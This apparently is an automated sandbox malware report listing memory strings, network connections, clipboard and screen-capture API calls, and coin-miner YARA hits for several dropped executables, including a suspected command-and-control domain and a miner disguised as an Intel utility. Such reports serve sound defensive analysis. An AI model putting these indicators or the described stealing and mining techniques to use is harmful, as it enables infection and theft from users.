Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B82AEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B0536000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2385623790.000001D3BECBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B02A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8350E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000002A.00000002.2359938915.000001D3B02A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8350E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 47760e826c.exe, 00000028.00000002.2363949200.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361790066.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2362115221.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/;e
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 47760e826c.exe, 00000028.00000003.2362115221.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/of
Source: 47760e826c.exe, 00000028.00000003.2362115221.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 47760e826c.exe, 00000028.00000002.2363949200.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361790066.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2362115221.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900;
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 47760e826c.exe, 00000028.00000003.2362115221.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop6
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 93121e2127.exe, 00000032.00000002.2449302385.0000000001553000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2446899796.0000000001553000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449081634.0000000001549000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/
Source: 93121e2127.exe, 00000032.00000002.2449391395.000000000156C000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2446899796.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/))8E
Source: 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449426892.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api
Source: 93121e2127.exe, 00000032.00000002.2449081634.000000000150E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/api:Hk
Source: 93121e2127.exe, 00000032.00000003.2446899796.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447194751.0000000001585000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449426892.0000000001586000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tacitglibbr.biz/pi
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361790066.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888

Source: unknown	HTTPS traffic detected: 104.121.10.34:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50105 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

40_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_00431A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

40_2_00431A30

Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Code function: 40_2_00431BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

40_2_00431BB0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 36.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 34.3.Intel_PTT_EK_Recertification.exe.20253d50000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects coinmining malware Author: ditekSHen

Drops password protected ZIP file

Source: file.bin.10.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
